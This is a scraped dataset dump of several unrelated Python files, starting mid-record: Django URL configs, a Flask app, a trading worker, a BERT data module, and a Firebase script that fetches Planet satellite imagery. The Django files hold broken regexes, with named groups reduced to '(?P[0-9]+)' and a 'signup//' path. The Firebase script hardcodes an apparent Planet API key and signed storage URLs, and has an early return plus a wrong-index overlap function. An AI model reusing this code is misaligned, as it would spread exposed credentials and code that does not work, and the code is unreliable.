"attribute"}, {"api_name": "mlflow.pyfunc.load_model", "line_number": 362, "usage_type": "call"}, {"api_name": "mlflow.pyfunc", "line_number": 362, "usage_type": "attribute"}, {"api_name": "mlflow.openai.utils.TEST_CONTENT", "line_number": 365, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 368, "usage_type": "call"}, {"api_name": "mlflow.openai.utils.TEST_CONTENT", "line_number": 369, "usage_type": "name"}, {"api_name": "tests.helper_functions.pyfunc_serve_and_score_model", "line_number": 371, "usage_type": "call"}, {"api_name": "mlflow.pyfunc.scoring_server.CONTENT_TYPE_JSON", "line_number": 374, "usage_type": "attribute"}, {"api_name": "mlflow.pyfunc.scoring_server", "line_number": 374, "usage_type": "name"}, {"api_name": "mlflow.deployments.PredictionsResponse.from_json", "line_number": 379, "usage_type": "call"}, {"api_name": "mlflow.deployments.PredictionsResponse", "line_number": 379, "usage_type": "name"}, {"api_name": "pytest.mark.skipif", "line_number": 323, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 323, "usage_type": "attribute"}, {"api_name": "packaging.version.parse", "line_number": 324, "usage_type": "call"}, {"api_name": "packaging.version", "line_number": 324, "usage_type": "name"}, {"api_name": "langchain.__version__", "line_number": 324, "usage_type": "attribute"}, {"api_name": "langchain.requests.TextRequestsWrapper", "line_number": 384, "usage_type": "call"}, {"api_name": "langchain.llms.OpenAI", "line_number": 388, "usage_type": "call"}, {"api_name": "langchain.chains.APIChain.from_llm_and_api_docs", "line_number": 389, "usage_type": "call"}, {"api_name": "langchain.chains.APIChain", "line_number": 389, "usage_type": "name"}, {"api_name": "langchain.chains.api.open_meteo_docs.OPEN_METEO_DOCS", "line_number": 389, "usage_type": "attribute"}, {"api_name": "langchain.chains.api.open_meteo_docs", "line_number": 389, "usage_type": "name"}, {"api_name": "mlflow.start_run", "line_number": 392, "usage_type": "call"}, {"api_name": "mlflow.langchain.log_model", "line_number": 393, "usage_type": "call"}, {"api_name": "mlflow.langchain", "line_number": 393, "usage_type": "attribute"}, {"api_name": "mlflow.langchain.load_model", "line_number": 400, "usage_type": "call"}, {"api_name": "mlflow.langchain", "line_number": 400, "usage_type": "attribute"}, {"api_name": "langchain.embeddings.fake.FakeEmbeddings", "line_number": 405, "usage_type": "call"}, {"api_name": "langchain.embeddings.fake.FakeEmbeddings", "line_number": 411, "usage_type": "call"}, {"api_name": "langchain.llms.OpenAI", "line_number": 412, "usage_type": "call"}, {"api_name": "langchain.chains.HypotheticalDocumentEmbedder.from_llm", "line_number": 414, "usage_type": "call"}, {"api_name": "langchain.chains.HypotheticalDocumentEmbedder", "line_number": 414, "usage_type": "name"}, {"api_name": "mlflow.start_run", "line_number": 417, "usage_type": "call"}, {"api_name": "mlflow.langchain.log_model", "line_number": 418, "usage_type": "call"}, {"api_name": "mlflow.langchain", "line_number": 418, "usage_type": "attribute"}, {"api_name": "mlflow.langchain.load_model", "line_number": 425, "usage_type": "call"}, {"api_name": "mlflow.langchain", "line_number": 425, "usage_type": "attribute"}, {"api_name": "pytest.mark.skip", "line_number": 408, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 408, "usage_type": "attribute"}, {"api_name": "sqlite3.connect", "line_number": 431, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 458, "usage_type": "call"}, {"api_name": "os.path", "line_number": 458, "usage_type": "attribute"}, {"api_name": "langchain.SQLDatabase.from_uri", "line_number": 460, "usage_type": "call"}, {"api_name": "langchain.SQLDatabase", "line_number": 460, "usage_type": "name"}, {"api_name": "langchain.llms.OpenAI", "line_number": 468, "usage_type": "call"}, {"api_name": "langchain.SQLDatabase.from_uri", "line_number": 470, "usage_type": "call"}, {"api_name": "langchain.SQLDatabase", "line_number": 470, "usage_type": "name"}, {"api_name": "langchain.chains.SQLDatabaseChain.from_llm", "line_number": 471, "usage_type": "call"}, {"api_name": "langchain.chains.SQLDatabaseChain", "line_number": 471, "usage_type": "name"}, {"api_name": "mlflow.start_run", "line_number": 474, "usage_type": "call"}, {"api_name": "mlflow.langchain.log_model", "line_number": 475, "usage_type": "call"}, {"api_name": "mlflow.langchain", "line_number": 475, "usage_type": "attribute"}, {"api_name": "mlflow.langchain.load_model", "line_number": 483, "usage_type": "call"}, {"api_name": "mlflow.langchain", "line_number": 483, "usage_type": "attribute"}, {"api_name": "pytest.mark.skip", "line_number": 463, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 463, "usage_type": "attribute"}, {"api_name": "langchain.chains.ConversationChain", "line_number": 488, "usage_type": "call"}, {"api_name": "langchain.llms.OpenAI", "line_number": 488, "usage_type": "call"}, {"api_name": "langchain.memory.ConversationBufferMemory", "line_number": 488, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 489, "usage_type": "call"}, {"api_name": "mlflow.start_run", "line_number": 493, "usage_type": "call"}, {"api_name": "mlflow.langchain.log_model", "line_number": 494, "usage_type": "call"}, {"api_name": "mlflow.langchain", "line_number": 494, "usage_type": "attribute"}, {"api_name": "pytest.raises", "line_number": 499, "usage_type": "call"}, {"api_name": "mlflow.start_run", "line_number": 503, "usage_type": "call"}, {"api_name": "mlflow.langchain.log_model", "line_number": 504, "usage_type": "call"}, {"api_name": "mlflow.langchain", "line_number": 504, "usage_type": "attribute"}, {"api_name": "pytest.raises", "line_number": 509, "usage_type": "call"}, {"api_name": "mlflow.exceptions.MlflowException", "line_number": 510, "usage_type": "argument"}, {"api_name": "mlflow.start_run", "line_number": 514, "usage_type": "call"}, {"api_name": "mlflow.langchain.log_model", "line_number": 515, "usage_type": "call"}, {"api_name": "mlflow.langchain", "line_number": 515, "usage_type": "attribute"}]}
{"seq_id": "15936339249", "text": "from django.conf.urls import url\nfrom . import views\n\n#Template tagging\napp_name = 'vendor'\n\nurlpatterns = [\n    url(r\"^$\", views.PostList.as_view(), name=\"all\"),\n    url(r\"new/$\", views.CreatePost.as_view(), name=\"create\"),\n    url(r\"by/(?P[-\\w]+)/$\",views.UserPosts.as_view(),name=\"for_user\"),\n    url(r\"by/(?P[-\\w]+)/(?P\\d+)/$\",views.PostDetail.as_view(),name=\"single\"),\n    url(r\"delete/(?P\\d+)/$\",views.DeletePost.as_view(),name=\"delete\"),\n    url(r'^post/(?P\\d+)/edit/$',views.PostUpdateView.as_view(),name='post_edit'),\n    url(r'^drafts/$',views.DraftListView.as_view(),name='post_draft_list'),\n    url(r'^post/(?P\\d+)/comment/$',views.add_comments_to_post,name='add_comments_to_post'),\n    url(r'^comment/(?P\\d+)/approve/$',views.comment_approve,name='comment_approve'),\n    url(r'^comment/(?P\\d+)/remove/$',views.comment_remove,name='comment_remove'),\n    url(r'^post/(?P\\d+)/publish/$',views.post_publish,name='post_publish'),\n]\n", "repo_name": "kmarangu/My-Projects", "sub_path": "eprocure/vendor/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 988, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "django.conf.urls.url", "line_number": 8, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 9, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 10, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 11, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 12, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 13, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 14, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 15, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 16, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 17, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 18, "usage_type": "call"}]}
{"seq_id": "21913274466", "text": "# Setup Django settings and models\nimport os\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"acacia_main.settings\")\n\nimport django\ndjango.setup()\n\n# Begin program\nimport time\n\nfrom trades.models import OrderTask\nfrom trades.execute import batch_execute\n\ndef trades_needed(order):\n    done_proportion = 1.0 * (time.time() - order.start_timestamp) / (order.deadline_timestamp - order.start_timestamp)\n    #print \"%s vs. %s\" % ((done_proportion * order.total_trades), order.trades_made)\n    return (done_proportion * order.total_trades) >= order.trades_made\n    \n\n\nwhile True:\n    OrderTask.objects.filter(\n        deadline_timestamp__lt=(time.time() - 300)\n    ).delete()\n    \n    pending_orders = OrderTask.objects.filter(\n        amount_remaining__gt=0.0,\n        deadline_timestamp__gt=time.time()\n    )\n    if pending_orders.count() > 0:\n        orders = [x for x in pending_orders if trades_needed(x)]\n        batch_execute(orders)\n    \n    time.sleep(5)", "repo_name": "AcaciaTrading/acacia_main", "sub_path": "trades_worker.py", "file_name": "trades_worker.py", "file_ext": "py", "file_size_in_byte": 958, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 20, "dataset": "github-code", "pt": "69", "api": [{"api_name": "os.environ.setdefault", "line_number": 3, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 3, "usage_type": "attribute"}, {"api_name": "django.setup", "line_number": 6, "usage_type": "call"}, {"api_name": "time.time", "line_number": 15, "usage_type": "call"}, {"api_name": "trades.models.OrderTask.objects.filter", "line_number": 22, "usage_type": "call"}, {"api_name": "trades.models.OrderTask.objects", "line_number": 22, "usage_type": "attribute"}, {"api_name": "trades.models.OrderTask", "line_number": 22, "usage_type": "name"}, {"api_name": "time.time", "line_number": 23, "usage_type": "call"}, {"api_name": "trades.models.OrderTask.objects.filter", "line_number": 26, "usage_type": "call"}, {"api_name": "trades.models.OrderTask.objects", "line_number": 26, "usage_type": "attribute"}, {"api_name": "trades.models.OrderTask", "line_number": 26, "usage_type": "name"}, {"api_name": "time.time", "line_number": 28, "usage_type": "call"}, {"api_name": "trades.execute.batch_execute", "line_number": 32, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 34, "usage_type": "call"}]}
{"seq_id": "22423632075", "text": "from flask import Flask, url_for\nfrom flask_migrate import Migrate\nfrom flask_wtf import CSRFProtect\nfrom flask_cors import CORS\n\nfrom exts import db, ma\nfrom views import student_opt, enterprise_opt, login_opt\n\napp = Flask(__name__, template_folder='./templates')\napp.config.from_pyfile('config.py')\ndb.init_app(app)\nma.init_app(app)\ncsrf = CSRFProtect(app)\napp.secret_key = '123456'\n# 开启全局跨域\nCORS(app, supports_credentials=True)\n\n# 注册蓝图\napp.register_blueprint(student_opt.student_opt, url_prefix='/student')\napp.register_blueprint(enterprise_opt.enterprise_opt, url_prefix='/enterprise')\napp.register_blueprint(login_opt.login_opt, url_prefix='/')\n'''\n创建数据迁移仓库 flask db init\n数据迁移\n    1. 生成迁移脚本，并不会执行\n    flask db migrate -m '可选'\n    2. 执行数据库创建脚本\n    flask db upgrade\n'''\nmigrate = Migrate(app, db)\n\nwith app.test_request_context():\n    # 练习\n    # print(url_for('student_opt.insert'))\n    # print(url_for('student_opt.queryall'))\n    # print(url_for('student_opt.query'))\n    # print(url_for('student_opt.update'))\n\n    ##\n    print(url_for('enterprise_opt.home'))\n    print(url_for('enterprise_opt.detail', id=1))\n    print(url_for('enterprise_opt.analysis'))\n    print(url_for('login_opt.login'))\n\nif __name__ == '__main__':\n    app.run()", "repo_name": "maohuahao/flask-demo", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1335, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.Flask", "line_number": 9, "usage_type": "call"}, {"api_name": "exts.db.init_app", "line_number": 11, "usage_type": "call"}, {"api_name": "exts.db", "line_number": 11, "usage_type": "name"}, {"api_name": "exts.ma.init_app", "line_number": 12, "usage_type": "call"}, {"api_name": "exts.ma", "line_number": 12, "usage_type": "name"}, {"api_name": "flask_wtf.CSRFProtect", "line_number": 13, "usage_type": "call"}, {"api_name": "flask_cors.CORS", "line_number": 16, "usage_type": "call"}, {"api_name": "views.student_opt.student_opt", "line_number": 19, "usage_type": "attribute"}, {"api_name": "views.student_opt", "line_number": 19, "usage_type": "name"}, {"api_name": "views.enterprise_opt.enterprise_opt", "line_number": 20, "usage_type": "attribute"}, {"api_name": "views.enterprise_opt", "line_number": 20, "usage_type": "name"}, {"api_name": "views.login_opt.login_opt", "line_number": 21, "usage_type": "attribute"}, {"api_name": "views.login_opt", "line_number": 21, "usage_type": "name"}, {"api_name": "flask_migrate.Migrate", "line_number": 30, "usage_type": "call"}, {"api_name": "exts.db", "line_number": 30, "usage_type": "argument"}, {"api_name": "flask.url_for", "line_number": 40, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 41, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 42, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 43, "usage_type": "call"}]}
{"seq_id": "74417921188", "text": "from django.urls import path\nfrom django.conf.urls import url, include\n\nfrom . import views\n\nurlpatterns = [\n    url(r'^learnerCourse/courseID=(?P[0-9]+)&moduleID=(?P[0-9]+)/$',views.learnerModuleCourseView),\n    url(r'^instructorCourse/courseID=(?P[0-9]+)&moduleID=(?P[0-9]+)/$',views.instructorCourseModuleView),\n    url(r'^liveCourse/courseID=(?P[0-9]+)/$',views.liveCourseView),\n    url(r'category/categoryID=(?P[0-9]+)/$', views.category_list_view),\n    url(r'^courseDescription/courseID=(?P[0-9]+)/$', views.courseDescriptionView),\n    url(r'^instructorDetails/courseID=(?P[0-9]+)/$', views.instructorDetailView),\n    url(r'^addCourse/$', views.course_form),\n    url(r'^addModule/courseID=(?P[0-9]+)/$', views.module_form),\n    url(r'^editModule/moduleID=(?P[0-9]+)/$', views.edit_module_form),\n    url(r'^editComponent/componentID=(?P[0-9]+)/$', views.edit_component_form),\n    url(r'^importComponent/moduleID=(?P[0-9]+)/',views.import_component_form),\n    url(r'^importQuiz/moduleID=(?P[0-9]+)/',views.import_quiz),\n    url(r'^dashboard/$',views.course_learner_view, name=\"course_learner\"),\n    url(r'^history/$',views.course_history_view, name=\"history\"),\n    url(r'^instructorDashboard/$',views.course_instructor_view, name=\"course_instructor\"),\n    url(r'^underDevelopment/$',views.course_development_view, name=\"development\"),\n    url(r'^quiz/moduleID=(?P[0-9]+)$', views.learner_quiz),\n    url(r'accounts/', include('django.contrib.auth.urls')),\n    url(r'login_success/$', views.login_success, name='login_success'),\n    url(r'invite/', views.invite, name='invite'), #for admin to invite instructors\n    url(r'learner_get_token/', views.learner_get_token, name='learner_get_token'), #for learner to get token\n    path('signup//', views.signup, name='signup'),\n]", "repo_name": "atibrewal98/ICE", "sub_path": "ICE/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1949, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.conf.urls.url", "line_number": 7, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 8, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 9, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 10, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 11, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 12, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 13, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 14, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 15, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 16, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 17, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 18, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 19, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 20, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 21, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 22, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 23, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 24, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 24, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 25, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 26, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 27, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 28, "usage_type": "call"}]}
{"seq_id": "7663418977", "text": "\nimport firebase_admin\nfrom firebase_admin import credentials, storage\nfrom firebase_admin import firestore\nimport os\nimport requests\nfrom pprint import pprint\nfrom PIL import Image\nimport time\nfrom io import BytesIO\nfrom datetime import datetime, timedelta\nfrom shapely.geometry import Polygon\n\ncred = credentials.Certificate(\"./serviceAccountKey.json\")\nfirebase_admin.initialize_app(cred)\n\ndb = firestore.client()\nbucket = storage.bucket('acps-project-backend.appspot.com')\n\nPL_API_ENDPOINT = 'https://api.planet.com/data/v1'\nPL_API_KEY = 'PLAKea75ef1ad0f24fcf88073d0eda6b04f0'\nImage.MAX_IMAGE_PIXELS = None\n\nurl = 'https://storage.googleapis.com/acps-project-backend.appspot.com/Images/test_image.png?Expires=1768231104&GoogleAccessId=firebase-adminsdk-gr0xg%40acps-project-backend.iam.gserviceaccount.com&Signature=R3oJJmBFaUDmB8RPn%2B7CWWrqyv%2BPtjbd7v9ZH4CtuLcCwUYeIDgUs496tKuzfJh%2F5WN6KWjmcB2zol%2FNhadCCjtoYC6KIbkN%2BlhkSr8E7oXt2JMhqs3IOBW83uWJoFUFkEW4YHSfSRbvQlkCJuvoDWOEObSajPjRyptQaPgs6xjxxinq7PD%2BTdpGWfeBfur9QcXXd2ZqBWb2YdfqTiXuzkwBvPrr8OHizm6FVZ%2BbvFAtir5%2BKVZiZprvQoUXvFp2B%2Bo2XAJgddxcJt5dSfJU4SiA3jCdoteIPD5DubRY7bwowxEtS75jNkzwBB%2BoaCtAxM1EE1MNfjwxXtYS56hIyA%3D%3D'\n\nsmall_url = 'https://storage.googleapis.com/acps-project-backend.appspot.com/Images/20230415_051557_03_24a4.png?Expires=1768230054&GoogleAccessId=firebase-adminsdk-gr0xg%40acps-project-backend.iam.gserviceaccount.com&Signature=dDyorNBDv9td1vLVG9j6tjs7G5fjpstYyb2W52fTEqgMCexljGxY522ocqWvazP14x8dlhs%2BheMmsC%2BBI2TGVWXb0mYXMlJliaEi%2FHH53fR7M1laiwxIvY%2B%2FRsiOUOG62W%2FoWvdRa1B3SNb5Jl3%2BW0fysXpBh%2B3NnFVWLOOl2GmT3iLWhGWSQS6hUOdRlr3NwImCNcsWJfCWMlwnqk0mU3HJiz5Qv0mDYF%2F%2FPiSMBJXosEXOvC63%2FZ1Gu%2BYwUC3VEOGMxovVTmxBCnzX7vFI66qzpRsBK1sVsW5B1Ed7goS5KmSC2PITLNrXun97%2FR2s%2BJM4mQm1DY6a2pQGqzTHxA%3D%3D'\n\ndef get_satellite_image(query_coordinate=None, date=None):\n    return url\n    search_params = get_search_params(query_coordinate, date)\n    auth = (PL_API_KEY, '')\n    search_headers = {'content-type': 'application/json'}\n\n    search_url = \"{}/quick-search\".format(PL_API_ENDPOINT)\n    search_response = requests.post(search_url, json=search_params, auth=auth, headers=search_headers)\n    search_json = search_response.json()\n    # pprint(search_json['features'][0])\n\n    download_urls = [f[\"_links\"][\"assets\"] for f in search_json[\"features\"]]\n    filenames = [f[\"id\"] for f in search_json[\"features\"]]\n    coordinates = [f['geometry']['coordinates'] for f in search_json['features']]\n\n    query = change_one_coordinate(query_coordinate)\n    coordinates = change_coordinates(coordinates)\n    idx = find_max_overlap(query, coordinates)\n\n    download_url = download_urls[idx]\n    filename = filenames[idx]\n\n    item = requests.get(download_url, auth=auth)\n    # pprint(item.json())\n    item_activation_url = item.json()['ortho_visual'][\"_links\"][\"activate\"]\n    response = requests.post(item_activation_url, auth=auth)\n    while response.status_code == 202:\n        print('Fetching image...')\n        time.sleep(10)\n        response = requests.post(item_activation_url, auth=auth)\n        \n    item = requests.get(download_url, auth=auth)\n\n    if response.status_code == 204:\n        final_url = item.json()['ortho_visual'][\"location\"]\n        download_request = requests.get(final_url, auth=auth, stream=True)\n            \n        img = Image.open(BytesIO(download_request.content))\n        \n        bs = BytesIO()\n        out = img.rotate(10)\n        out.save(bs, 'png', quality=100)\n        blob = bucket.blob('Images/' + filename + '.png')\n        blob.upload_from_string(bs.getvalue(), content_type=\"image/png\")\n        img_url = blob.generate_signed_url(datetime.now() + timedelta(days=1000))\n\n        db.collection('images').document(filename).set({'name': filename + '.png', 'url': img_url})\n        print(\"File {} downloaded\".format(filename))\n        return img_url\n\ndef get_search_params(coordinates, date):\n    # date_from = date\n    # date_to = date\n\n    current_datetime = datetime.now() - timedelta(days=1)\n    date_from = current_datetime - timedelta(days=2*30)\n    current_datetime = current_datetime.strftime('%Y-%m-%dT%H:%M:%SZ')\n    date_from = date_from.strftime('%Y-%m-%dT%H:%M:%SZ')\n\n    search_params = {\n        \"item_types\":[\n            \"PSScene\"\n        ],\n        \"filter\":{\n            \"type\":\"AndFilter\",\n            \"config\":[\n                {\n                    \"type\":\"GeometryFilter\",\n                    \"field_name\":\"geometry\",\n                    \"config\":{\n                    \"type\":\"Polygon\",\n                    \"coordinates\": coordinates\n                    }\n                },\n                {\n                    \"type\":\"DateRangeFilter\",\n                    \"field_name\":\"acquired\",\n                    \"config\":{\n                    \"gte\": date_from,\n                    \"lte\": current_datetime\n                    }\n                },\n                {\n                    \"type\":\"RangeFilter\",\n                    \"config\":{\n                    \"gte\":0,\n                    \"lte\":0.01\n                    },\n                    \"field_name\":\"cloud_cover\"\n                },\n                {\n                    \"type\":\"PermissionFilter\",\n                    \"config\":[\n                    \"assets:download\"\n                    ]\n                }\n            ]\n        }\n    }\n\n    return search_params\n\ndef find_max_overlap(p, polygons):\n    max_overlap = 0\n    p = Polygon(p)\n    \n    # Check for intersection with each polygon\n    for i, poly_coords in enumerate(polygons):\n        poly = Polygon(poly_coords)\n        if poly.intersects(p):\n            # Calculate area of intersection\n            overlap = poly.intersection(p).area\n            if overlap > max_overlap:\n                max_overlap = overlap\n\n    return i\n\ndef change_one_coordinate(p):\n    res = []\n    for q in p[0]:\n        x = q[0]\n        y = q[1]\n        res.append((x, y))\n    return res\n\ndef change_coordinates(p):\n    res = []\n    for q in p:\n        res.append(change_one_coordinate(q))\n    return res\n\n# lat1 = 30.945224649091216\n# lon1 = 76.50601542475157\n# lat2 = 30.993208586415832\n# lon2 = 76.4308153128237\n# query_param = [[\n#     [lon1, lat1],\n#     [lon1, lat2],\n#     [lon2, lat2],\n#     [lon2, lat1],\n#     [lon1, lat1]\n# ]]\n# get_satellite_image(query_param)", "repo_name": "SachinPatel2707/acps-backend", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 6299, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "firebase_admin.credentials.Certificate", "line_number": 14, "usage_type": "call"}, {"api_name": "firebase_admin.credentials", "line_number": 14, "usage_type": "name"}, {"api_name": "firebase_admin.initialize_app", "line_number": 15, "usage_type": "call"}, {"api_name": "firebase_admin.firestore.client", "line_number": 17, "usage_type": "call"}, {"api_name": "firebase_admin.firestore", "line_number": 17, "usage_type": "name"}, {"api_name": "firebase_admin.storage.bucket", "line_number": 18, "usage_type": "call"}, {"api_name": "firebase_admin.storage", "line_number": 18, "usage_type": "name"}, {"api_name": "PIL.Image.MAX_IMAGE_PIXELS", "line_number": 22, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 22, "usage_type": "name"}, {"api_name": "requests.post", "line_number": 35, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 50, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 53, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 56, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 57, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 59, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 63, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 65, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 65, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 65, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 67, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 72, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 72, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 72, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 82, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 82, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 82, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 83, "usage_type": "call"}, {"api_name": "shapely.geometry.Polygon", "line_number": 132, "usage_type": "call"}, {"api_name": "shapely.geometry.Polygon", "line_number": 136, "usage_type": "call"}]}
{"seq_id": "8876350737", "text": "import os\nimport os.path as osp\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom preprocess.tokenizer.bert_tokenizer import TitleCategoryDataset\nimport pytorch_lightning as pl\nfrom torch.utils.data import Dataset, DataLoader\nfrom transformers import BertTokenizerFast as BertTokenizer\n\n\nclass TitleCategoryModule(pl.LightningDataModule):\n    def __init__(self, train_df, val_df, test_df, tokenizer: BertTokenizer,\n                 batch_size=16, max_token_len=40):\n        super().__init__()\n        self.train_df = train_df\n        self.val_df = val_df\n        self.test_df = test_df\n        self.tokenizer = tokenizer\n        self.batch_size = batch_size\n        self.max_token_len = max_token_len\n\n    def setup(self, stage=None):\n        self.train_dataset = TitleCategoryDataset(\n            self.train_df,\n            self.tokenizer,\n            self.max_token_len\n        )\n\n        self.val_dataset = TitleCategoryDataset(\n            self.val_df,\n            self.tokenizer,\n            self.max_token_len\n        )\n\n        self.test_dataset = TitleCategoryDataset(\n            self.test_df,\n            self.tokenizer,\n            self.max_token_len\n        )\n\n    def train_dataloader(self):\n        return DataLoader(\n            self.train_dataset,\n            batch_size=self.batch_size,\n            shuffle=True,\n            num_workers=2  # feed more than one batch at a time\n        )\n\n    def val_dataloader(self):\n        return DataLoader(\n            self.val_dataset,\n            batch_size=self.batch_size,\n            shuffle=False,\n            num_workers=2  # feed more than one batch at a time\n        )\n\n    def test_dataloader(self):\n        return DataLoader(\n            self.test_dataset,\n            batch_size=self.batch_size,\n            shuffle=False,\n            num_workers=2  # feed more than one batch at a time\n        )\n\nclass BertFlow:\n    def __init__(self, data_loc, split: float = 0.2,\n                 x_col: str = 'title',\n                 label_columns: list = ['math', 'stat', 'physics', 'q-bio', 'q-fin']):\n        self.RANDOM_SEED = 2021\n        self.data_loc = data_loc\n        self.label_cols = label_columns\n        self.x_col = x_col\n        # (test and val-size this split is then split into half)\n        self.split = split\n        self.df = self.read_csv()\n        self.train_df, self.val_df, self.test_df = self.split_df()\n\n    def read_csv(self):\n        csv_s = [f_ for f_ in os.listdir(self.data_loc) if 'csv' in f_]\n        df = pd.read_csv(osp.join(self.data_loc, csv_s[0]))\n        return df\n\n    def split_df(self):\n        train_df, val_df = train_test_split(self.df, test_size=self.split, shuffle=True,\n                                            random_state=self.RANDOM_SEED)\n        val_df, test_df = train_test_split(val_df, test_size=0.5, shuffle=True,\n                                           random_state=self.RANDOM_SEED)\n        print(f'Number of training samples: {len(train_df)}')\n        print(f'Number of validation samples: {len(val_df)}')\n        print(f'Number of test samples: {len(test_df)}')\n        return train_df, val_df, test_df\n\n    def return_split(self):\n        return self.train_df, self.val_df, self.test_df", "repo_name": "cellcomplexitylab/gufi", "sub_path": "preprocess/bert_flow.py", "file_name": "bert_flow.py", "file_ext": "py", "file_size_in_byte": 3237, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "pytorch_lightning.LightningDataModule", "line_number": 11, "usage_type": "attribute"}, {"api_name": "transformers.BertTokenizerFast", "line_number": 12, "usage_type": "name"}, {"api_name": "preprocess.tokenizer.bert_tokenizer.TitleCategoryDataset", "line_number": 23, "usage_type": "call"}, {"api_name": "preprocess.tokenizer.bert_tokenizer.TitleCategoryDataset", "line_number": 29, "usage_type": "call"}, {"api_name": "preprocess.tokenizer.bert_tokenizer.TitleCategoryDataset", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 42, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 50, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 58, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 79, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 80, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 80, "usage_type": "call"}, {"api_name": "os.path", "line_number": 80, "usage_type": "name"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 84, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 86, "usage_type": "call"}]}
